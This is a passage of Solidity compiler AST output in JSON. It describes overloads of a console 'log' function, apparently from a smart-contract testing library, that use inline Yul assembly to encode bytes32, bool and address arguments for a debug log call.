eSrc":"331112:16:22","nodeType":"YulExpressionStatement","src":"331112:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331148:5:22","nodeType":"YulLiteral","src":"331148:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"331155:2:22","nodeType":"YulIdentifier","src":"331155:2:22"}],"functionName":{"name":"mstore","nativeSrc":"331141:6:22","nodeType":"YulIdentifier","src":"331141:6:22"},"nativeSrc":"331141:17:22","nodeType":"YulFunctionCall","src":"331141:17:22"},"nativeSrc":"331141:17:22","nodeType":"YulExpressionStatement","src":"331141:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44558,"isOffset":false,"isSlot":false,"src":"330922:2:22","valueSize":1},{"declaration":44561,"isOffset":false,"isSlot":false,"src":"330951:2:22","valueSize":1},{"declaration":44564,"isOffset":false,"isSlot":false,"src":"330980:2:22","valueSize":1},{"declaration":44567,"isOffset":false,"isSlot":false,"src":"331009:2:22","valueSize":1},{"declaration":44570,"isOffset":false,"isSlot":false,"src":"331038:2:22","valueSize":1},{"declaration":44573,"isOffset":false,"isSlot":false,"src":"331067:2:22","valueSize":1},{"declaration":44576,"isOffset":false,"isSlot":false,"src":"331096:2:22","valueSize":1},{"declaration":44579,"isOffset":false,"isSlot":false,"src":"331125:2:22","valueSize":1},{"declaration":44582,"isOffset":false,"isSlot":false,"src":"331155:2:22","valueSize":1}],"id":44590,"nodeType":"InlineAssembly","src":"330886:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"329653:3:22","parameters":{"id":44555,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44548,"mutability":"mutable","name":"p0","nameLocation":"329665:2:22","nodeType":"VariableDeclaration","scope":44592,"src":"329657:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329657:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44550,"mutability":"mutable","name":"p1","nameLocation":"329674:2:22","nodeType":"VariableDeclaration","scope":44592,"src":"329669:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44549,"name":"bool","nodeType":"ElementaryTypeName","src":"329669:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44552,"mutability":"mutable","name":"p2","nameLocation":"329686:2:22","nodeType":"VariableDeclaration","scope":44592,"src":"329678:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44551,"name":"address","nodeType":"ElementaryTypeName","src":"329678:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44554,"mutability":"mutable","name":"p3","nameLocation":"329698:2:22","nodeType":"VariableDeclaration","scope":44592,"src":"329690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44553,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"329656:45:22"},"returnParameters":{"id":44556,"nodeType":"ParameterList","parameters":[],"src":"329716:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44632,"nodeType":"FunctionDefinition","src":"331180:1328:22","nodes":[],"body":{"id":44631,"nodeType":"Block","src":"331249:1259:22","nodes":[],"statements":[{"assignments":[44604],"declarations":[{"constant":false,"id":44604,"mutability":"mutable","name":"m0","nameLocation":"331267:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44603,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331259:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44605,"nodeType":"VariableDeclarationStatement","src":"331259:10:22"},{"assignments":[44607],"declarations":[{"constant":false,"id":44607,"mutability":"mutable","name":"m1","nameLocation":"331287:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44608,"nodeType":"VariableDeclarationStatement","src":"331279:10:22"},{"assignments":[44610],"declarations":[{"constant":false,"id":44610,"mutability":"mutable","name":"m2","nameLocation":"331307:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44609,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331299:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44611,"nodeType":"VariableDeclarationStatement","src":"331299:10:22"},{"assignments":[44613],"declarations":[{"constant":false,"id":44613,"mutability":"mutable","name":"m3","nameLocation":"331327:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44612,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331319:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44614,"nodeType":"VariableDeclarationStatement","src":"331319:10:22"},{"assignments":[44616],"declarations":[{"constant":false,"id":44616,"mutability":"mutable","name":"m4","nameLocation":"331347:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331339:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44615,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331339:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44617,"nodeType":"VariableDeclarationStatement","src":"331339:10:22"},{"assignments":[44619],"declarations":[{"constant":false,"id":44619,"mutability":"mutable","name":"m5","nameLocation":"331367:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44618,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331359:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44620,"nodeType":"VariableDeclarationStatement","src":"331359:10:22"},{"assignments":[44622],"declarations":[{"constant":false,"id":44622,"mutability":"mutable","name":"m6","nameLocation":"331387:2:22","nodeType":"VariableDeclaration","scope":44631,"src":"331379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44623,"nodeType":"VariableDeclarationStatement","src":"331379:10:22"},{"AST":{"nativeSrc":"331408:825:22","nodeType":"YulBlock","src":"331408:825:22","statements":[{"body":{"nativeSrc":"331451:313:22","nodeType":"YulBlock","src":"331451:313:22","statements":[{"nativeSrc":"331469:15:22","nodeType":"YulVariableDeclaration","src":"331469:15:22","value":{"kind":"number","nativeSrc":"331483:1:22","nodeType":"YulLiteral","src":"331483:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"331473:6:22","nodeType":"YulTypedName","src":"331473:6:22","type":""}]},{"body":{"nativeSrc":"331554:40:22","nodeType":"YulBlock","src":"331554:40:22","statements":[{"body":{"nativeSrc":"331583:9:22","nodeType":"YulBlock","src":"331583:9:22","statements":[{"nativeSrc":"331585:5:22","nodeType":"YulBreak","src":"331585:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"331571:6:22","nodeType":"YulIdentifier","src":"331571:6:22"},{"name":"w","nativeSrc":"331579:1:22","nodeType":"YulIdentifier","src":"331579:1:22"}],"functionName":{"name":"byte","nativeSrc":"331566:4:22","nodeType":"YulIdentifier","src":"331566:4:22"},"nativeSrc":"331566:15:22","nodeType":"YulFunctionCall","src":"331566:15:22"}],"functionName":{"name":"iszero","nativeSrc":"331559:6:22","nodeType":"YulIdentifier","src":"331559:6:22"},"nativeSrc":"331559:23:22","nodeType":"YulFunctionCall","src":"331559:23:22"},"nativeSrc":"331556:36:22","nodeType":"YulIf","src":"331556:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"331511:6:22","nodeType":"YulIdentifier","src":"331511:6:22"},{"kind":"number","nativeSrc":"331519:4:22","nodeType":"YulLiteral","src":"331519:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"331508:2:22","nodeType":"YulIdentifier","src":"331508:2:22"},"nativeSrc":"331508:16:22","nodeType":"YulFunctionCall","src":"331508:16:22"},"nativeSrc":"331501:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"331525:28:22","nodeType":"YulBlock","src":"331525:28:22","statements":[{"nativeSrc":"331527:24:22","nodeType":"YulAssignment","src":"331527:24:22","value":{"arguments":[{"name":"length","nativeSrc":"331541:6:22","nodeType":"YulIdentifier","src":"331541:6:22"},{"kind":"number","nativeSrc":"331549:1:22","nodeType":"YulLiteral","src":"331549:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"331537:3:22","nodeType":"YulIdentifier","src":"331537:3:22"},"nativeSrc":"331537:14:22","nodeType":"YulFunctionCall","src":"331537:14:22"},"variableNames":[{"name":"length","nativeSrc":"331527:6:22","nodeType":"YulIdentifier","src":"331527:6:22"}]}]},"pre":{"nativeSrc":"331505:2:22","nodeType":"YulBlock","src":"331505:2:22","statements":[]},"src":"331501:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"331618:3:22","nodeType":"YulIdentifier","src":"331618:3:22"},{"name":"length","nativeSrc":"331623:6:22","nodeType":"YulIdentifier","src":"331623:6:22"}],"functionName":{"name":"mstore","nativeSrc":"331611:6:22","nodeType":"YulIdentifier","src":"331611:6:22"},"nativeSrc":"331611:19:22","nodeType":"YulFunctionCall","src":"331611:19:22"},"nativeSrc":"331611:19:22","nodeType":"YulExpressionStatement","src":"331611:19:22"},{"nativeSrc":"331647:37:22","nodeType":"YulVariableDeclaration","src":"331647:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"331664:3:22","nodeType":"YulLiteral","src":"331664:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"331673:1:22","nodeType":"YulLiteral","src":"331673:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"331676:6:22","nodeType":"YulIdentifier","src":"331676:6:22"}],"functionName":{"name":"shl","nativeSrc":"331669:3:22","nodeType":"YulIdentifier","src":"331669:3:22"},"nativeSrc":"331669:14:22","nodeType":"YulFunctionCall","src":"331669:14:22"}],"functionName":{"name":"sub","nativeSrc":"331660:3:22","nodeType":"YulIdentifier","src":"331660:3:22"},"nativeSrc":"331660:24:22","nodeType":"YulFunctionCall","src":"331660:24:22"},"variables":[{"name":"shift","nativeSrc":"331651:5:22","nodeType":"YulTypedName","src":"331651:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"331712:3:22","nodeType":"YulIdentifier","src":"331712:3:22"},{"kind":"number","nativeSrc":"331717:4:22","nodeType":"YulLiteral","src":"331717:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"331708:3:22","nodeType":"YulIdentifier","src":"331708:3:22"},"nativeSrc":"331708:14:22","nodeType":"YulFunctionCall","src":"331708:14:22"},{"arguments":[{"name":"shift","nativeSrc":"331728:5:22","nodeType":"YulIdentifier","src":"331728:5:22"},{"arguments":[{"name":"shift","nativeSrc":"331739:5:22","nodeType":"YulIdentifier","src":"331739:5:22"},{"name":"w","nativeSrc":"331746:1:22","nodeType":"YulIdentifier","src":"331746:1:22"}],"functionName":{"name":"shr","nativeSrc":"331735:3:22","nodeType":"YulIdentifier","src":"331735:3:22"},"nativeSrc":"331735:13:22","nodeType":"YulFunctionCall","src":"331735:13:22"}],"functionName":{"name":"shl","nativeSrc":"331724:3:22","nodeType":"YulIdentifier","src":"331724:3:22"},"nativeSrc":"331724:25:22","nodeType":"YulFunctionCall","src":"331724:25:22"}],"functionName":{"name":"mstore","nativeSrc":"331701:6:22","nodeType":"YulIdentifier","src":"331701:6:22"},"nativeSrc":"331701:49:22","nodeType":"YulFunctionCall","src":"331701:49:22"},"nativeSrc":"331701:49:22","nodeType":"YulExpressionStatement","src":"331701:49:22"}]},"name":"writeString","nativeSrc":"331422:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"331443:3:22","nodeType":"YulTypedName","src":"331443:3:22","type":""},{"name":"w","nativeSrc":"331448:1:22","nodeType":"YulTypedName","src":"331448:1:22","type":""}],"src":"331422:342:22"},{"nativeSrc":"331777:17:22","nodeType":"YulAssignment","src":"331777:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331789:4:22","nodeType":"YulLiteral","src":"331789:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"331783:5:22","nodeType":"YulIdentifier","src":"331783:5:22"},"nativeSrc":"331783:11:22","nodeType":"YulFunctionCall","src":"331783:11:22"},"variableNames":[{"name":"m0","nativeSrc":"331777:2:22","nodeType":"YulIdentifier","src":"331777:2:22"}]},{"nativeSrc":"331807:17:22","nodeType":"YulAssignment","src":"331807:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331819:4:22","nodeType":"YulLiteral","src":"331819:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"331813:5:22","nodeType":"YulIdentifier","src":"331813:5:22"},"nativeSrc":"331813:11:22","nodeType":"YulFunctionCall","src":"331813:11:22"},"variableNames":[{"name":"m1","nativeSrc":"331807:2:22","nodeType":"YulIdentifier","src":"331807:2:22"}]},{"nativeSrc":"331837:17:22","nodeType":"YulAssignment","src":"331837:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331849:4:22","nodeType":"YulLiteral","src":"331849:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"331843:5:22","nodeType":"YulIdentifier","src":"331843:5:22"},"nativeSrc":"331843:11:22","nodeType":"YulFunctionCall","src":"331843:11:22"},"variableNames":[{"name":"m2","nativeSrc":"331837:2:22","nodeType":"YulIdentifier","src":"331837:2:22"}]},{"nativeSrc":"331867:17:22","nodeType":"YulAssignment","src":"331867:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331879:4:22","nodeType":"YulLiteral","src":"331879:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"331873:5:22","nodeType":"YulIdentifier","src":"331873:5:22"},"nativeSrc":"331873:11:22","nodeType":"YulFunctionCall","src":"331873:11:22"},"variableNames":[{"name":"m3","nativeSrc":"331867:2:22","nodeType":"YulIdentifier","src":"331867:2:22"}]},{"nativeSrc":"331897:17:22","nodeType":"YulAssignment","src":"331897:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331909:4:22","nodeType":"YulLiteral","src":"331909:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"331903:5:22","nodeType":"YulIdentifier","src":"331903:5:22"},"nativeSrc":"331903:11:22","nodeType":"YulFunctionCall","src":"331903:11:22"},"variableNames":[{"name":"m4","nativeSrc":"331897:2:22","nodeType":"YulIdentifier","src":"331897:2:22"}]},{"nativeSrc":"331927:17:22","nodeType":"YulAssignment","src":"331927:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331939:4:22","nodeType":"YulLiteral","src":"331939:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"331933:5:22","nodeType":"YulIdentifier","src":"331933:5:22"},"nativeSrc":"331933:11:22","nodeType":"YulFunctionCall","src":"331933:11:22"},"variableNames":[{"name":"m5","nativeSrc":"331927:2:22","nodeType":"YulIdentifier","src":"331927:2:22"}]},{"nativeSrc":"331957:17:22","nodeType":"YulAssignment","src":"331957:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"331969:4:22","nodeType":"YulLiteral","src":"331969:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"331963:5:22","nodeType":"YulIdentifier","src":"331963:5:22"},"nativeSrc":"331963:11:22","nodeType":"YulFunctionCall","src":"331963:11:22"},"variableNames":[{"name":"m6","nativeSrc":"331957:2:22","nodeType":"YulIdentifier","src":"331957:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332054:4:22","nodeType":"YulLiteral","src":"332054:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"332060:10:22","nodeType":"YulLiteral","src":"332060:10:22","type":"","value":"0x7190a529"}],"functionName":{"name":"mstore","nativeSrc":"332047:6:22","nodeType":"YulIdentifier","src":"332047:6:22"},"nativeSrc":"332047:24:22","nodeType":"YulFunctionCall","src":"332047:24:22"},"nativeSrc":"332047:24:22","nodeType":"YulExpressionStatement","src":"332047:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332091:4:22","nodeType":"YulLiteral","src":"332091:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"332097:4:22","nodeType":"YulLiteral","src":"332097:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"332084:6:22","nodeType":"YulIdentifier","src":"332084:6:22"},"nativeSrc":"332084:18:22","nodeType":"YulFunctionCall","src":"332084:18:22"},"nativeSrc":"332084:18:22","nodeType":"YulExpressionStatement","src":"332084:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332122:4:22","nodeType":"YulLiteral","src":"332122:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"332128:2:22","nodeType":"YulIdentifier","src":"332128:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332115:6:22","nodeType":"YulIdentifier","src":"332115:6:22"},"nativeSrc":"332115:16:22","nodeType":"YulFunctionCall","src":"332115:16:22"},"nativeSrc":"332115:16:22","nodeType":"YulExpressionStatement","src":"332115:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332151:4:22","nodeType":"YulLiteral","src":"332151:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"332157:2:22","nodeType":"YulIdentifier","src":"332157:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332144:6:22","nodeType":"YulIdentifier","src":"332144:6:22"},"nativeSrc":"332144:16:22","nodeType":"YulFunctionCall","src":"332144:16:22"},"nativeSrc":"332144:16:22","nodeType":"YulExpressionStatement","src":"332144:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332180:4:22","nodeType":"YulLiteral","src":"332180:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"332186:2:22","nodeType":"YulIdentifier","src":"332186:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332173:6:22","nodeType":"YulIdentifier","src":"332173:6:22"},"nativeSrc":"332173:16:22","nodeType":"YulFunctionCall","src":"332173:16:22"},"nativeSrc":"332173:16:22","nodeType":"YulExpressionStatement","src":"332173:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332214:4:22","nodeType":"YulLiteral","src":"332214:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"332220:2:22","nodeType":"YulIdentifier","src":"332220:2:22"}],"functionName":{"name":"writeString","nativeSrc":"332202:11:22","nodeType":"YulIdentifier","src":"332202:11:22"},"nativeSrc":"332202:21:22","nodeType":"YulFunctionCall","src":"332202:21:22"},"nativeSrc":"332202:21:22","nodeType":"YulExpressionStatement","src":"332202:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44604,"isOffset":false,"isSlot":false,"src":"331777:2:22","valueSize":1},{"declaration":44607,"isOffset":false,"isSlot":false,"src":"331807:2:22","valueSize":1},{"declaration":44610,"isOffset":false,"isSlot":false,"src":"331837:2:22","valueSize":1},{"declaration":44613,"isOffset":false,"isSlot":false,"src":"331867:2:22","valueSize":1},{"declaration":44616,"isOffset":false,"isSlot":false,"src":"331897:2:22","valueSize":1},{"declaration":44619,"isOffset":false,"isSlot":false,"src":"331927:2:22","valueSize":1},{"declaration":44622,"isOffset":false,"isSlot":false,"src":"331957:2:22","valueSize":1},{"declaration":44594,"isOffset":false,"isSlot":false,"src":"332220:2:22","valueSize":1},{"declaration":44596,"isOffset":false,"isSlot":false,"src":"332128:2:22","valueSize":1},{"declaration":44598,"isOffset":false,"isSlot":false,"src":"332157:2:22","valueSize":1},{"declaration":44600,"isOffset":false,"isSlot":false,"src":"332186:2:22","valueSize":1}],"id":44624,"nodeType":"InlineAssembly","src":"331399:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44626,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"332258:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"332264:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44625,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"332242:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"332242:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44629,"nodeType":"ExpressionStatement","src":"332242:27:22"},{"AST":{"nativeSrc":"332288:214:22","nodeType":"YulBlock","src":"332288:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"332309:4:22","nodeType":"YulLiteral","src":"332309:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"332315:2:22","nodeType":"YulIdentifier","src":"332315:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332302:6:22","nodeType":"YulIdentifier","src":"332302:6:22"},"nativeSrc":"332302:16:22","nodeType":"YulFunctionCall","src":"332302:16:22"},"nativeSrc":"332302:16:22","nodeType":"YulExpressionStatement","src":"332302:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332338:4:22","nodeType":"YulLiteral","src":"332338:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"332344:2:22","nodeType":"YulIdentifier","src":"332344:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332331:6:22","nodeType":"YulIdentifier","src":"332331:6:22"},"nativeSrc":"332331:16:22","nodeType":"YulFunctionCall","src":"332331:16:22"},"nativeSrc":"332331:16:22","nodeType":"YulExpressionStatement","src":"332331:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332367:4:22","nodeType":"YulLiteral","src":"332367:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"332373:2:22","nodeType":"YulIdentifier","src":"332373:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332360:6:22","nodeType":"YulIdentifier","src":"332360:6:22"},"nativeSrc":"332360:16:22","nodeType":"YulFunctionCall","src":"332360:16:22"},"nativeSrc":"332360:16:22","nodeType":"YulExpressionStatement","src":"332360:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332396:4:22","nodeType":"YulLiteral","src":"332396:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"332402:2:22","nodeType":"YulIdentifier","src":"332402:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332389:6:22","nodeType":"YulIdentifier","src":"332389:6:22"},"nativeSrc":"332389:16:22","nodeType":"YulFunctionCall","src":"332389:16:22"},"nativeSrc":"332389:16:22","nodeType":"YulExpressionStatement","src":"332389:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332425:4:22","nodeType":"YulLiteral","src":"332425:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"332431:2:22","nodeType":"YulIdentifier","src":"332431:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332418:6:22","nodeType":"YulIdentifier","src":"332418:6:22"},"nativeSrc":"332418:16:22","nodeType":"YulFunctionCall","src":"332418:16:22"},"nativeSrc":"332418:16:22","nodeType":"YulExpressionStatement","src":"332418:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332454:4:22","nodeType":"YulLiteral","src":"332454:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"332460:2:22","nodeType":"YulIdentifier","src":"332460:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332447:6:22","nodeType":"YulIdentifier","src":"332447:6:22"},"nativeSrc":"332447:16:22","nodeType":"YulFunctionCall","src":"332447:16:22"},"nativeSrc":"332447:16:22","nodeType":"YulExpressionStatement","src":"332447:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"332483:4:22","nodeType":"YulLiteral","src":"332483:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"332489:2:22","nodeType":"YulIdentifier","src":"332489:2:22"}],"functionName":{"name":"mstore","nativeSrc":"332476:6:22","nodeType":"YulIdentifier","src":"332476:6:22"},"nativeSrc":"332476:16:22","nodeType":"YulFunctionCall","src":"332476:16:22"},"nativeSrc":"332476:16:22","nodeType":"YulExpressionStatement","src":"332476:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44604,"isOffset":false,"isSlot":false,"src":"332315:2:22","valueSize":1},{"declaration":44607,"isOffset":false,"isSlot":false,"src":"332344:2:22","valueSize":1},{"declaration":44610,"isOffset":false,"isSlot":false,"src":"332373:2:22","valueSize":1},{"declaration":44613,"isOffset":false,"isSlot":false,"src":"332402:2:22","valueSize":1},{"declaration":44616,"isOffset":false,"isSlot":false,"src":"332431:2:22","valueSize":1},{"declaration":44619,"isOffset":false,"isSlot":false,"src":"332460:2:22","valueSize":1},{"declaration":44622,"isOffset":false,"isSlot":false,"src":"332489:2:22","valueSize":1}],"id":44630,"nodeType":"InlineAssembly","src":"332279:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"331189:3:22","parameters":{"id":44601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44594,"mutability":"mutable","name":"p0","nameLocation":"331201:2:22","nodeType":"VariableDeclaration","scope":44632,"src":"331193:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44593,"name":"bytes32","nodeType":"ElementaryTypeName","src":"331193:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44596,"mutability":"mutable","name":"p1","nameLocation":"331210:2:22","nodeType":"VariableDeclaration","scope":44632,"src":"331205:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44595,"name":"bool","nodeType":"ElementaryTypeName","src":"331205:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44598,"mutability":"mutable","name":"p2","nameLocation":"331219:2:22","nodeType":"VariableDeclaration","scope":44632,"src":"331214:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44597,"name":"bool","nodeType":"ElementaryTypeName","src":"331214:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44600,"mutability":"mutable","name":"p3","nameLocation":"331231:2:22","nodeType":"VariableDeclaration","scope":44632,"src":"331223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44599,"name":"address","nodeType":"ElementaryTypeName","src":"331223:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"331192:42:22"},"returnParameters":{"id":44602,"nodeType":"ParameterList","parameters":[],"src":"331249:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44672,"nodeType":"FunctionDefinition","src":"332514:1322:22","nodes":[],"body":{"id":44671,"nodeType":"Block","src":"332580:1256:22","nodes":[],"statements":[{"assignments":[44644],"declarations":[{"constant":false,"id":44644,"mutability":"mutable","name":"m0","nameLocation":"332598:2:22","nodeType":"VariableDeclaration","scope":44671,"src":"332590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"332590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44645,"nodeType":"VariableDeclarationStatement","src":"332590:10:22"},{"assignments":[44647],"declarations":[{